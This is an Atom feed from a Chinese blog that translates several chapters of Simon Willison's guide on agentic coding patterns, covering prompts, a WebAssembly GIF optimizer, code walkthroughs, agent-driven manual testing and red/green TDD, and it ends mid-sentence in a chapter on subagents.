<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>FooFish</title><link href="https://foofish.net/" rel="alternate"/><link href="https://foofish.net/feeds/all.atom.xml" rel="self"/><id>https://foofish.net/</id><updated>2026-03-21T10:12:14+08:00</updated><subtitle>刘志军的博客</subtitle><entry><title>14-我使用的提示</title><link href="https://foofish.net/prompts.html" rel="alternate"/><published>2026-03-21T10:12:14+08:00</published><updated>2026-03-21T10:12:14+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/prompts.html</id><summary type="html">&lt;p&gt;本指南的这一部分将持续更新我使用的提示，这些提示与其他章节相关联。&lt;/p&gt;
&lt;h2&gt;工件（Artifacts）&lt;/h2&gt;
&lt;p&gt;我经常使用 Claude 的 Artifacts 功能进行原型设计 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;本指南的这一部分将持续更新我使用的提示，这些提示与其他章节相关联。&lt;/p&gt;
&lt;h2&gt;工件（Artifacts）&lt;/h2&gt;
&lt;p&gt;我经常使用 Claude 的 Artifacts 功能进行原型设计和小 HTML 工具。Artifacts 是常规 Claude 聊天构建一个 HTML 和 JavaScript 应用程序并直接在 Claude 聊天界面内显示它。OpenAI 和 Gemini 提供了一个类似功能，他们称之为 Canvas。&lt;/p&gt;
&lt;p&gt;模型喜欢用 React 做这些。我不喜欢 React 需要额外的构建步骤，这阻止我复制粘贴代码到其他地方进行静态托管，所以我用以下自定义指示在 Claude 中创建我的 artifacts：&lt;/p&gt;
&lt;h2&gt;校对员&lt;/h2&gt;
&lt;p&gt;我不让 LLM 为我的博客写文本。我的硬性规定是任何表达观点或使用"I"代词的东西都必须是我自己写的。我会允许 LLM 更新代码文档，但如果有什么与我的名字和个性相关联，那么我自己写。&lt;/p&gt;
&lt;p&gt;我确实用 LLM 来校对我发布的文本。以下是我当前在 Claude 项目中用作自定义指示的校对提示：&lt;/p&gt;
&lt;h2&gt;Alt 文本&lt;/h2&gt;
&lt;p&gt;我将此提示与图像一起使用，以帮助编写无障碍 alt 文本的初稿。&lt;/p&gt;
&lt;p&gt;我通常将此与 Claude Opus 一起使用，我发现它 alt 文本非常有品味。它通常会做出自己的编辑决定，例如只突出图表中最有趣的数字。&lt;/p&gt;
&lt;p&gt;这些决定可能并不总是正确的。Alt 文本应该表达图像正在传达的关键含义。我经常自己编辑此提示产生的文本，或提供进一步提示告诉它扩展某些描述或删除无关信息。&lt;/p&gt;
&lt;p&gt;有时我会将多张图像传递给同一会话的相同提示，因为这样模型可以通过参考第一张图像传达的信息来描述后续图像。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文：&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/"&gt;Agentic Engineering Patterns&lt;/a&gt; by Simon Willison&lt;/em&gt;&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>13-GIF 优化工具：使用 WebAssembly 和 Gifsicle</title><link href="https://foofish.net/gif-optimization.html" rel="alternate"/><published>2026-03-21T10:12:13+08:00</published><updated>2026-03-21T10:12:13+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/gif-optimization.html</id><summary type="html">&lt;p&gt;我喜欢在我在线写作中包含动画 GIF 演示，通常使用 &lt;a href="https://www.cockos.com/licecap/"&gt;LICEcap&lt;/a&gt; 录制。&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/interactive-explanations/"&gt;交互式解释&lt;/a&gt; 章节中有一个例子。&lt;/p&gt;
&lt;p&gt;这些 GIF 可能相当大。我尝试了一 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;我喜欢在我在线写作中包含动画 GIF 演示，通常使用 &lt;a href="https://www.cockos.com/licecap/"&gt;LICEcap&lt;/a&gt; 录制。&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/interactive-explanations/"&gt;交互式解释&lt;/a&gt; 章节中有一个例子。&lt;/p&gt;
&lt;p&gt;这些 GIF 可能相当大。我尝试了一些工具来优化 GIF 文件大小，我最喜欢的是 Eddie Kohler 的 &lt;a href="https://github.com/kohler/gifsicle"&gt;Gifsicle&lt;/a&gt;。它通过识别未更改的帧区域并仅存储差异来压缩 GIF，并且可以可选地减少 GIF 调色板或应用可见的有损压缩以获得更大的尺寸减小。&lt;/p&gt;
&lt;p&gt;Gifsicle 是用 C 编写的，默认界面是一个命令行工具。我想要一个 Web 界面，这样我可以在浏览器中访问它并可视地预览和比较不同的设置。&lt;/p&gt;
&lt;p&gt;我在 iPhone 上使用 Claude iPhone 应用从我的 &lt;a href="https://github.com/simonw/tools"&gt;simonw/tools&lt;/a&gt; 仓库提示 Claude Code for web，以下是提示：&lt;/p&gt;
&lt;p&gt;以下是&lt;a href="https://tools.simonwillison.net/gif-optimizer"&gt;它构建的内容&lt;/a&gt;，加上我用该工具优化的动画 GIF 演示：&lt;/p&gt;
&lt;p&gt;让我们逐块解决该提示。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;gif-optimizer.html&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第一行简单地告诉它我想创建的文件名。这里只是一个文件名就够了——我知道当 Claude 在仓库上运行"ls"时，它会理解每个文件都是一个不同的工具。&lt;/p&gt;
&lt;p&gt;我的 simonw/tools 仓库目前缺少 CLAUDE.md 或 AGENTS.md 文件。我发现助手从现有文件树扫描和查看现有文件中的相关代码中足以掌握仓库的要点。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;将 gifsicle 编译为 WASM，然后构建一个网页，让你打开或拖放一个动画 GIF 到它上面，然后它向你显示使用 gifsicle 以多种不同设置压缩的 GIF，每个都有大小和下载按钮&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我在那里做了很多假设——都得到了回报。&lt;/p&gt;
&lt;p&gt;Gifsicle 几乎有 30 年历史了，是一款广泛使用的软件——我相信仅凭名称提及它就足以让 Claude 找到代码。&lt;/p&gt;
&lt;p&gt;"Compile gifsicle to WASM" 在这里做了很多工作。&lt;/p&gt;
&lt;p&gt;WASM 是 &lt;a href="https://webassembly.org/"&gt;WebAssembly&lt;/a&gt; 的缩写，是一种让浏览器在沙箱中运行编译代码的技术。&lt;/p&gt;
&lt;p&gt;将 Gifsicle 这样的项目编译为 WASM 不是一件琐碎的操作，涉及通常涉及 &lt;a href="https://emscripten.org/"&gt;Emscripten&lt;/a&gt; 项目的复杂工具链。它通常需要大量试验和错误才能让一切工作。&lt;/p&gt;
&lt;p&gt;编程助手非常擅长试验和错误！他们通常可以蛮力解决我会在第五个不可理解的编译器错误后放弃的问题。&lt;/p&gt;
&lt;p&gt;我见过 Claude Code 多次弄清楚 WASM 构建，所以我有信心这会工作。&lt;/p&gt;
&lt;p&gt;"然后构建一个网页，让你打开或拖放一个动画 GIF 到它上面"描述了我在许多其他工具中使用过的模式。&lt;/p&gt;
&lt;p&gt;HTML 文件上传适用于选择文件，但更好的 UI，特别是在桌面上，是允许用户将文件拖放到页面上的一个显眼位置。&lt;/p&gt;
&lt;p&gt;设置这涉及一点 JavaScript 来处理事件和一些 CSS 用于放置区域。它不复杂，但比我自己通常会添加的额外工作多一点。有了提示，它几乎免费。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后向你显示使用 gifsicle 以多种不同设置压缩的 GIF，每个都有大小和下载按钮&lt;/strong&gt;描述了应用程序的关键功能。&lt;/p&gt;
&lt;p&gt;我没有费心定义我想要设置的集合——根据我的经验，Claude 有足够好的品味为我去挑选，我们可以总是如果它的第一个猜测不工作就去改变它们。&lt;/p&gt;
&lt;p&gt;显示大小很重要，因为这都是关于优化大小的。&lt;/p&gt;
&lt;p&gt;我从过去的经验知道，要求一个"下载按钮"会得到一个具有正确 HTML 和 JavaScript 机制的按钮，点击它会提供文件保存对话框，这是比需要右键单击保存更方便的便利。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;还包括 gifsicle 选项的手动使用控件——每个预览都有一个"调整这些设置"链接，设置那些用于该预览的手动设置，这样用户可以进一步自定义&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是一个相当笨拙的提示——毕竟我是在手机上打的——但它表达了我的意图，足以让 Claude 构建我想要的。&lt;/p&gt;
&lt;p&gt;以下是该工具的样子，这张截图显示了移动版本。每个图像都有一个"调整这些设置"按钮，点击时会更新这组手动设置和滑块：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;运行"uvx rodney --help" 并使用该工具测试你的工作——用这个 GIF 测试 https://static.simonwillison.net/static/2026/animated-word-cloud-demo.gif&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;编程助手如果你确保它们在工作时有能力测试代码，效果会好得多。&lt;/p&gt;
&lt;p&gt;有多种不同的方式来测试 Web 界面——&lt;a href="https://playwright.dev/"&gt;Playwright&lt;/a&gt;、&lt;a href="https://www.selenium.dev/"&gt;Selenium&lt;/a&gt; 和 &lt;a href="https://agent-browser.dev/"&gt;agent-browser&lt;/a&gt; 是三个可靠的选择。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/simonw/rodney"&gt;Rodney&lt;/a&gt; 是我自己构建的浏览器自动化工具，安装快速，--help 输出被设计为教助手需要知道的使用该工具的一切。&lt;/p&gt;
&lt;p&gt;这非常有效——在&lt;a href="https://claude.ai/code/session_01C8JpE3yQpwHfBCFni4ZUc4"&gt;会话记录&lt;/a&gt;中你可以看到 Claude 使用 Rodney 并修复它发现的一些小错误，例如：&lt;/p&gt;
&lt;p&gt;CSS display: none 赢得了内联样式重置。我需要明确设置 display: 'block'。&lt;/p&gt;
&lt;h2&gt;后续提示&lt;/h2&gt;
&lt;p&gt;当我与 Claude Code 一起工作时，我通常会关注它在做什么，这样我可以在它仍在进行中时重定向它。我也经常在它工作时想出新想法，然后注入队列。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在提交中包含构建脚本并与原始 gifsicle 代码的 diff 放在适当的子目录中&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;构建脚本应该将 gifsicle 仓库克隆到 /tmp 并在应用 diff 之前切换到已知提交——因此提交中没有 gifsicle 的副本，但包含构建 wqsm 所需的所有脚本&lt;/p&gt;
&lt;p&gt;当我注意到它投入了大量努力来弄清楚如何让 Gifsicle 与 WebAssembly 一起工作时，我添加了，包括修补原始源代码。以下是&lt;a href="https://github.com/simonw/tools/blob/main/lib/gifsicle/gifsicle-wasm.patch"&gt;补丁&lt;/a&gt;和&lt;a href="https://github.com/simonw/tools/blob/main/lib/gifsicle/build.sh"&gt;它添加到仓库的构建脚本&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;我知道该仓库已经有一个支持文件所在位置的模式，但我记不清那个模式是什么。说"在适当的子目录中"足以让 Claude 弄清楚把它放在哪里——它找到了并使用了现有的 &lt;a href="https://github.com/simonw/tools/tree/main/lib"&gt;lib/ 目录&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;你应该包含 wasm 包&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这可能不必要，但我想绝对确保编译的 WASM 文件（结果是 &lt;a href="https://github.com/simonw/tools/blob/main/lib/gifsicle/gifsicle.wasm"&gt;233KB&lt;/a&gt;）被提交到仓库。我通过 GitHub Pages 在 &lt;a href="https://tools.simonwillison.net/"&gt;tools.simonwillison.net&lt;/a&gt; 提供 simonw/tools，我希望它在本地不需要构建就能工作。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;确保 HTML 页面 credits gifsicle 并链接到仓库&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这只是为了礼貌！我经常围绕其他人的开源项目构建 WebAssembly 包装器，我喜欢确保它们在结果页面中得到信任。&lt;/p&gt;
&lt;p&gt;Claude 将此添加到工具的页脚：&lt;/p&gt;
&lt;p&gt;Built with &lt;a href="https://github.com/kohler/gifsicle"&gt;gifsicle&lt;/a&gt; by Eddie Kohler, compiled to WebAssembly. gifsicle is released under the GNU General Public License, version 2.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文：&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/"&gt;Agentic Engineering Patterns&lt;/a&gt; by Simon Willison&lt;/em&gt;&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>11-线性讲解 (Linear Walkthroughs)</title><link href="https://foofish.net/linear-walkthroughs.html" rel="alternate"/><published>2026-03-21T10:12:11+08:00</published><updated>2026-03-21T10:12:11+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/linear-walkthroughs.html</id><summary type="html">&lt;p&gt;有时，让编程智能体为你提供一份结构化的代码库讲解是非常有用的。&lt;/p&gt;
&lt;p&gt;这可能是你需要快速熟悉的现有代码，也可能是你 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;有时，让编程智能体为你提供一份结构化的代码库讲解是非常有用的。&lt;/p&gt;
&lt;p&gt;这可能是你需要快速熟悉的现有代码，也可能是你已经遗忘细节的旧代码，或者你通过“氛围编程”（Vibe Coding）一口气开发完、现在需要理解它到底是怎么跑通的。&lt;/p&gt;
&lt;p&gt;拥有合适智能体外壳（Harness）的尖端模型可以构建详细的讲解，帮助你理解代码的工作原理。&lt;/p&gt;
&lt;h3&gt;使用 Showboat 和 Present 的示例&lt;/h3&gt;
&lt;p&gt;最近，我使用 Claude Code 和 Opus 4.6 在我的 Mac 上“氛围编程”了一个 SwiftUI 幻灯片演示应用。&lt;/p&gt;
&lt;p&gt;当时我正在演讲 2025 年 11 月至 2026 年 2 月间尖端模型取得的进展。我喜欢在演讲中加入至少一个噱头（即 &lt;strong&gt;STAR 时刻&lt;/strong&gt;——Something They'll Always Remember，让人永远记住的东西）。在这种情况下，我决定把这个噱头设为：在演讲结束时揭晓，这个幻灯片播放器本身就是“氛围编程”能力的产物。&lt;/p&gt;
&lt;p&gt;我将代码发布到了 GitHub，然后才意识到我对它的实际工作机制一无所知——我是通过提示词将其“召唤”出来的（部分对话记录在此），完全没去注意它写的代码。&lt;/p&gt;
&lt;p&gt;于是，我启动了一个新的 Web 版 Claude Code 实例，指向我的仓库并输入：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;阅读源代码，然后规划一个线性的代码讲解，详细解释它的工作原理。&lt;/p&gt;
&lt;p&gt;然后运行 &lt;code&gt;uvx showboat --help&lt;/code&gt; 来学习 Showboat。使用 Showboat 在仓库中创建一个 &lt;code&gt;walkthrough.md&lt;/code&gt; 文件并在其中构建讲解。使用 &lt;code&gt;showboat note&lt;/code&gt; 添加注释，并使用 &lt;code&gt;showboat exec&lt;/code&gt; 配合 &lt;code&gt;sed&lt;/code&gt;、&lt;code&gt;grep&lt;/code&gt; 或 &lt;code&gt;cat&lt;/code&gt; 等你需要的工具来包含你正在讨论的代码片段。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Showboat&lt;/strong&gt; 是我构建的一个工具，旨在帮助编程智能体编写展示其工作的文档。你可以点击查看 &lt;code&gt;showboat --help&lt;/code&gt; 的输出，它旨在为模型提供使用该工具所需的一切知识。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;showboat note&lt;/code&gt; 命令向文档添加 Markdown 内容。&lt;code&gt;showboat exec&lt;/code&gt; 命令接收一个 Shell 命令并执行，然后将命令及其输出同时添加到文档中。&lt;/p&gt;
&lt;p&gt;通过告诉它使用“&lt;code&gt;sed&lt;/code&gt;、&lt;code&gt;grep&lt;/code&gt; 或 &lt;code&gt;cat&lt;/code&gt; 等你需要的工具来包含你正在讨论的代码片段”，我确保了 Claude Code &lt;strong&gt;不会手动复制&lt;/strong&gt;代码片段到文档中，因为手动复制存在幻觉或出错的风险。&lt;/p&gt;
&lt;p&gt;这种方法效果极佳。这是 Claude Code 使用 Showboat 创建的文档，它详细讲解了所有 6 个 &lt;code&gt;.swift&lt;/code&gt; 文件，并对代码的工作原理提供了清晰且具操作性的解释。&lt;/p&gt;
&lt;p&gt;仅仅通过阅读这份文档，我就学到了大量关于 SwiftUI 应用结构的知识，并掌握了一些关于 Swift 语言本身的扎实细节。&lt;/p&gt;
&lt;p&gt;如果你担心 LLM 可能会降低你学习新技能的速度，我强烈建议采用此类模式。即使是一个耗时约 40 分钟的“氛围编程”小项目，也可以成为探索新生态系统、学习有趣新技巧的机会。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文：&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/"&gt;Agentic Engineering Patterns&lt;/a&gt; by Simon Willison&lt;/em&gt;&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>10-智能体手动测试</title><link href="https://foofish.net/agentic-manual-testing.html" rel="alternate"/><published>2026-03-21T10:12:10+08:00</published><updated>2026-03-21T10:12:10+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/agentic-manual-testing.html</id><summary type="html">&lt;p&gt;编程智能体最核心的特征在于它能够&lt;strong&gt;执行&lt;/strong&gt;它所编写的代码。这正是编程智能体比那些只会吐出代码却无法验证的普通 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;编程智能体最核心的特征在于它能够&lt;strong&gt;执行&lt;/strong&gt;它所编写的代码。这正是编程智能体比那些只会吐出代码却无法验证的普通 LLM 更有用的原因。&lt;/p&gt;
&lt;p&gt;在 LLM 生成的代码被执行之前，永远不要假设它是可以运行的。&lt;/p&gt;
&lt;p&gt;编程智能体有能力确认它们产出的代码是否按预期工作，或者在达到预期之前对代码进行进一步迭代。&lt;/p&gt;
&lt;p&gt;让智能体&lt;strong&gt;编写单元测试&lt;/strong&gt;（尤其是使用测试先行 TDD）是确保它们检验过所写代码的一种强有力方式。&lt;/p&gt;
&lt;p&gt;然而，这并不是唯一值得采用的方法。&lt;/p&gt;
&lt;p&gt;仅仅因为代码通过了测试并不意味着它就完全符合预期。任何处理过自动化测试的人都见过这种情况：测试全部通过，但代码本身却以某种显而易见的方式失败了——它可能在启动时导致服务器崩溃、未能显示关键的 UI 元素，或者遗漏了测试未能覆盖的某些细节。&lt;/p&gt;
&lt;p&gt;自动化测试无法取代&lt;strong&gt;手动测试&lt;/strong&gt;。我喜欢在功能正式发布之前，亲眼看到它正常运行。&lt;/p&gt;
&lt;p&gt;我发现让智能体进行手动测试也极具价值，经常能揭示自动化测试未能发现的问题。&lt;/p&gt;
&lt;h3&gt;智能体手动测试的机制&lt;/h3&gt;
&lt;p&gt;智能体应该如何“手动”测试一段代码，取决于该代码的性质。&lt;/p&gt;
&lt;p&gt;对于 Python 库，一个有用的模式是 &lt;code&gt;python -c "... code ..."&lt;/code&gt;。你可以直接将一段 Python 代码字符串（或多行字符串）传递给 Python 解释器，包括导入其他模块的代码。&lt;/p&gt;
&lt;p&gt;编程智能体都熟悉这个技巧，有时甚至不经提示就会使用。不过，提醒它们使用 &lt;code&gt;python -c&lt;/code&gt; 进行测试通常非常有效：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;使用 &lt;code&gt;python -c&lt;/code&gt; 在一些边界情况上测试那个新函数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其他语言可能也有类似的机制；如果没有，智能体编写一个演示文件然后编译运行也很快。我有时会鼓励它使用 &lt;code&gt;/tmp&lt;/code&gt; 目录，纯粹是为了避免这些临时文件稍后被意外提交到仓库中。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在 &lt;code&gt;/tmp&lt;/code&gt; 中编写代码来测试该函数的边界情况，然后编译并运行它。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我的许多项目涉及构建带有 JSON API 的 Web 应用程序。对于这些项目，我会告诉智能体使用 &lt;code&gt;curl&lt;/code&gt; 来检验它们：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;运行开发服务器并使用 &lt;code&gt;curl&lt;/code&gt; 探索那个新的 JSON API。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;告诉智能体去“探索”（explore）通常会让它尝试新 API 的各种不同方面，从而快速覆盖大量内容。&lt;/p&gt;
&lt;p&gt;如果智能体通过手动测试发现了不工作的地方，我喜欢告诉它们用“红/绿 TDD”来修复它。这确保了新的用例最终会被永久性的自动化测试所覆盖。&lt;/p&gt;
&lt;h3&gt;针对 Web UI 使用浏览器自动化&lt;/h3&gt;
&lt;p&gt;如果项目涉及交互式 Web UI，建立手动测试流程就变得更加重要。&lt;/p&gt;
&lt;p&gt;从历史上看，通过代码测试 UI 一直很困难，但过去十年中，自动化真实浏览器的系统有了显著改进。针对应用程序运行真实的 Chrome、Firefox 或 Safari 浏览器，可以在现实环境中发现各种有趣的问题。&lt;/p&gt;
&lt;p&gt;编程智能体非常擅长使用这些工具。&lt;/p&gt;
&lt;p&gt;目前其中最强大的是 &lt;strong&gt;Playwright&lt;/strong&gt;，这是一个由微软开发的开源库。Playwright 提供了功能齐全的 API，支持多种流行编程语言，并能自动化任何主流浏览器引擎。&lt;/p&gt;
&lt;p&gt;只需告诉你的智能体“用 Playwright 测试那个”可能就足够了。智能体随后会选择最合适的语言绑定，或者使用 Playwright 的 &lt;code&gt;playwright-cli&lt;/code&gt; 工具。&lt;/p&gt;
&lt;p&gt;编程智能体与专用 CLI 配合得非常好。Vercel 开发的 &lt;code&gt;agent-browser&lt;/code&gt; 是一个围绕 Playwright 的综合 CLI 封装，专门设计给编程智能体使用。&lt;/p&gt;
&lt;p&gt;我自己的项目 &lt;strong&gt;Rodney&lt;/strong&gt; 也有类似用途，尽管它是通过 Chrome DevTools 协议直接控制 Chrome 实例。&lt;/p&gt;
&lt;p&gt;这是我使用 Rodney 测试时的一个提示词示例：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;启动开发服务器，然后使用 &lt;code&gt;uvx rodney --help&lt;/code&gt; 来测试新首页，查看截图以确认菜单位置是否正确。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这个提示词中有三个技巧：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;使用 &lt;code&gt;uvx rodney --help&lt;/code&gt;&lt;/strong&gt;：这会让智能体通过 &lt;code&gt;uvx&lt;/code&gt; 包管理工具运行 Rodney，该工具会在第一次调用时自动安装它。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;rodney --help&lt;/code&gt; 指令&lt;/strong&gt;：它专门设计用于向智能体提供理解和使用该工具所需的所有信息。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;“查看截图”&lt;/strong&gt;：这暗示智能体应该使用 &lt;code&gt;rodney screenshot&lt;/code&gt; 命令，并提醒它可以使用自己的&lt;strong&gt;视觉能力&lt;/strong&gt;处理生成的图像文件，以评估页面的视觉外观。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;短短一个提示词就涵盖了大量的手动测试内容！&lt;/p&gt;
&lt;p&gt;Rodney 及其类似工具提供了广泛的功能，从在加载的站点上运行 JavaScript 到滚动、点击、键入，甚至读取页面的无障碍树（Accessibility Tree）。&lt;/p&gt;
&lt;p&gt;与其他形式的手动测试一样，通过浏览器自动化发现并修复的问题，随后也可以添加到永久性的自动化测试中。&lt;/p&gt;
&lt;p&gt;过去，由于浏览器自动化测试容易“变脆”（Flakiness）——HTML 的极小改动就可能导致大面积测试失败——许多开发者对此避之不及。而让编程智能体来长期维护这些测试，大大减少了在 Web 界面设计变更时保持测试同步的阻力。&lt;/p&gt;
&lt;h3&gt;使用 Showboat 记录笔记&lt;/h3&gt;
&lt;p&gt;让智能体手动测试代码可以捕捉额外的问题，但它也可以用来创建帮助记录代码文档并证明其已通过测试的产出物。&lt;/p&gt;
&lt;p&gt;我一直对如何让智能体&lt;strong&gt;“展示它们的工作过程”&lt;/strong&gt;（show their work）这一挑战很感兴趣。能够看到演示或记录下来的实验过程，是确认智能体已全面解决所给挑战的一种非常有效的方式。&lt;/p&gt;
&lt;p&gt;我构建了 &lt;strong&gt;Showboat&lt;/strong&gt; 来辅助构建记录智能体手动测试流程的文档。&lt;/p&gt;
&lt;p&gt;这是我经常使用的一个提示词：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;运行 &lt;code&gt;uvx showboat --help&lt;/code&gt;，然后创建一个 &lt;code&gt;notes/api-demo.md&lt;/code&gt; Showboat 文档，并用它来测试和记录那个新 API。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;与上面的 Rodney 类似，&lt;code&gt;showboat --help&lt;/code&gt; 命令会教会智能体 Showboat 是什么以及如何使用它。Showboat 有三个关键命令：&lt;code&gt;note&lt;/code&gt;、&lt;code&gt;exec&lt;/code&gt; 和 &lt;code&gt;image&lt;/code&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;note&lt;/code&gt; 向 Showboat 文档追加一条 Markdown 笔记。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;exec&lt;/code&gt; 记录一条命令，运行它并记录其输出。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;image&lt;/code&gt; 向文档添加一张图片——对于使用 Rodney 截取的 Web 应用截图非常有用。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其中 &lt;code&gt;exec&lt;/code&gt; 命令最为重要，因为它捕获了命令及其产生的结果。这向你展示了智能体做了什么以及结果是什么，旨在防止智能体“作弊”——即在文档中写下它&lt;strong&gt;希望&lt;/strong&gt;发生的事，而不是实际发生的事。&lt;/p&gt;
&lt;p&gt;我发现 Showboat 模式在记录智能体会话期间完成的工作方面效果非常好。我希望看到类似的模式被更多工具所采纳。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文：&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/"&gt;Agentic Engineering Patterns&lt;/a&gt; by Simon Willison&lt;/em&gt;&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>08-红/绿 TDD</title><link href="https://foofish.net/red-green-tdd.html" rel="alternate"/><published>2026-03-21T10:12:08+08:00</published><updated>2026-03-21T10:12:08+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/red-green-tdd.html</id><summary type="html">&lt;p&gt;“使用红/绿 TDD”（Use red/green TDD）是一种非常简洁且有效的方法，能让编程智能体输出更高质量的结果。&lt;/p&gt;
&lt;p&gt;TDD 代表&lt;strong&gt;测试驱动开发&lt;/strong&gt;（Test Driven Development …&lt;/p&gt;</summary><content type="html">&lt;p&gt;“使用红/绿 TDD”（Use red/green TDD）是一种非常简洁且有效的方法，能让编程智能体输出更高质量的结果。&lt;/p&gt;
&lt;p&gt;TDD 代表&lt;strong&gt;测试驱动开发&lt;/strong&gt;（Test Driven Development）。这是一种编程风格，要求你确保编写的每一段代码都配有自动化的测试，以此证明代码运行正常。&lt;/p&gt;
&lt;p&gt;TDD 最严谨的形式是&lt;strong&gt;测试先行开发&lt;/strong&gt;（Test-first Development）。你先编写自动化测试，确认测试失败，然后不断迭代实现方案，直到测试通过。&lt;/p&gt;
&lt;p&gt;事实证明，这种方式与编程智能体是&lt;strong&gt;绝配&lt;/strong&gt;。使用编程智能体的一个重大风险是，它们可能会写出无法运行的代码，或者构建出不必要且从未被使用的代码，甚至两者兼有。&lt;/p&gt;
&lt;p&gt;测试先行开发有助于防止这两类常见错误，同时还能确保拥有一套稳健的自动化测试套件，以防御未来的&lt;strong&gt;回归&lt;/strong&gt;（Regressions）风险。随着项目的增长，新更改破坏现有功能的风险也随之增加。到目前为止，建立全面的测试套件是保持这些功能正常运行最有效的方法。&lt;/p&gt;
&lt;p&gt;在实现代码以使测试通过之前，&lt;strong&gt;确认测试失败&lt;/strong&gt;至关重要。如果你跳过这一步，就有可能构建一个本来就能通过的测试，从而无法真正检验和确认你的新实现是否有效。&lt;/p&gt;
&lt;p&gt;这就是“红/绿”的含义：&lt;strong&gt;红色阶段&lt;/strong&gt;观察测试失败，然后&lt;strong&gt;绿色阶段&lt;/strong&gt;确认测试现在已通过。&lt;/p&gt;
&lt;p&gt;任何优秀的模型都能理解“红/绿 TDD”这个简写，其背后的完整含义是：“使用测试驱动开发，先编写测试，在实现促使测试通过的更改之前，先确认测试是失败的。”&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;提示词示例：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;构建一个用于从 Markdown 字符串中提取标题的 Python 函数。使用红/绿 TDD。---&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;原文：&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/"&gt;Agentic Engineering Patterns&lt;/a&gt; by Simon Willison&lt;/em&gt;&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>07-子智能体</title><link href="https://foofish.net/subagents.html" rel="alternate"/><published>2026-03-21T10:12:07+08:00</published><updated>2026-03-21T10:12:07+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/subagents.html</id><summary type="html">&lt;p&gt;LLM 受限于其&lt;strong&gt;上下文限制&lt;/strong&gt;（Context Limit）——即它们在任何给定时间的工作记忆中所能容纳的 Token 数量。在过去的两年里，尽管 LLM 本身的能 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;LLM 受限于其&lt;strong&gt;上下文限制&lt;/strong&gt;（Context Limit）——即它们在任何给定时间的工作记忆中所能容纳的 Token 数量。在过去的两年里，尽管 LLM 本身的能力有了戏剧性的提升，但这一数值并没有太大增长：它们通常在大约 1,000,000 个 Token 处达到顶峰，而基准测试经常报告在 200,000 